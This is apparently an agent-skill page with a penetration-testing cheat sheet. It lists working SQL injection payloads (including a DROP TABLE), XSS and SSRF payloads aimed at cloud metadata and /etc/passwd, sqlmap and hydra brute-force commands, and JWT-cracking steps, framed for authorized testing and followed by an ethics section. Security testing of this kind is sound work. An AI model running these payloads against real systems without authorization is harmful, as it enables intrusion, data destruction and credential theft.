# Pentest Patterns

> When to activate: penetration testing, pentest, OWASP testing, Burp Suite, web vulnerabilities, SQLi, XSS, IDOR, security assessment, ethical hacking

- Skill: `mattakushi432/pentest-patterns` (Agent Skill)
- Install (CLI): `npx skillmds@latest add mattakushi432/pentest-patterns`
- Raw SKILL.md: https://api.skillmd.com/api/skills/mattakushi432/pentest-patterns/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Mattakushi432 (https://skillmd.com/u/mattakushi432)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/mattakushi432/pentest-patterns

---

# Penetration Testing Patterns

## Reconnaissance

```bash
# Subdomain enumeration
amass enum -d target.com -o subdomains.txt
subfinder -d target.com -o subdomains.txt

# Port scanning
nmap -sV -sC -p- --min-rate 5000 target.com -oN scan.txt
nmap -sU --top-ports 100 target.com  # UDP scan

# Directory bruteforce
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ -mc 200,301,302
gobuster dir -u https://target.com -w common.txt -x php,html,js

# Technology fingerprint
whatweb target.com
wappalyzer (browser extension)
```

## OWASP Top 10 Testing

### A01 — SQL Injection
```bash
# Manual test
' OR 1=1--
' UNION SELECT null,username,password FROM users--
1; DROP TABLE users--

# SQLMap automation
sqlmap -u "https://target.com/api/user?id=1" --batch --level=3
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch --dbs

# Detection in code
grep -rn "f\"SELECT.*{" src/          # f-string SQL (dangerous)
grep -rn "\"SELECT.*%s" src/          # % format SQL (dangerous)
```

### A03 — Cross-Site Scripting (XSS)
```javascript
// Reflected XSS payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
"><svg onload=alert(1)>

// DOM XSS sinks to audit
document.innerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 1000);
location.href = userInput;

// Stored XSS check: submit, then retrieve and observe
// Test in: comments, profile fields, search queries, filenames
```

### A01 — Broken Access Control / IDOR
```python
# Testing IDOR
import requests

headers = {"Authorization": "Bearer USER_A_TOKEN"}

# Access own resource
r1 = requests.get("https://api.target.com/invoices/1001", headers=headers)

# Try accessing another user's resource (change ID)
r2 = requests.get("https://api.target.com/invoices/1002", headers=headers)

if r2.status_code == 200:
    print("IDOR FOUND: user can access another user's invoice")

# Try privilege escalation
admin_endpoint = requests.get("https://api.target.com/admin/users", headers=headers)
```

### A10 — Server-Side Request Forgery (SSRF)
```bash
# SSRF payloads for URL parameters
http://169.254.169.254/latest/meta-data/   # AWS metadata
http://metadata.google.internal/           # GCP metadata
http://localhost:8080/internal-admin
file:///etc/passwd
dict://localhost:6379/info                 # Redis

# Test with Burp Collaborator or interactsh
python -m interactsh-client
# Then submit: https://target.com/fetch?url=https://YOUR.oastify.com
```

## Burp Suite Workflow

```
1. Scope: Target > Scope > add target domain
2. Spider: Spider target, review sitemap
3. Active scan: Scanner > New scan > crawl + audit
4. Manual review:
   - Intercept requests, fuzz parameters
   - Repeater: replay/modify individual requests
   - Intruder: brute-force login, enumerate IDs
   - Sequencer: test session token randomness
5. Extensions: Auth Analyzer, JWT Editor, Param Miner
```

## Authentication Testing

```bash
# Password brute-force (authorized only)
hydra -l admin -P wordlist.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# JWT attacks
# 1. Decode without verification
jwt.io → check alg, exp, claims

# 2. Algorithm confusion (HS256 with RS256 public key)
python jwt_tool.py TOKEN -X a

# 3. None algorithm
# Change header alg to "none", remove signature

# 4. Weak secret brute-force
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
```

## Reporting Template

```markdown
## Finding: [Title]
**Severity**: Critical / High / Medium / Low
**CVSS Score**: 9.8 / 7.5 / ...

### Description
What the vulnerability is and why it's dangerous.

### Steps to Reproduce
1. Navigate to https://target.com/endpoint
2. Modify parameter X to Y
3. Observe response contains Z

### Impact
What an attacker can achieve.

### Remediation
Specific fix with code example.

### References
- CWE-89: SQL Injection
- OWASP A03:2021
```

## Scope & Ethics

- **Always get written authorization** before testing
- Stay within defined scope (no pivoting to third-party systems)
- Do not exfiltrate real user data — stop at proof of vulnerability
- Report findings immediately if critical (RCE, data exposure)
- Use isolated test accounts where possible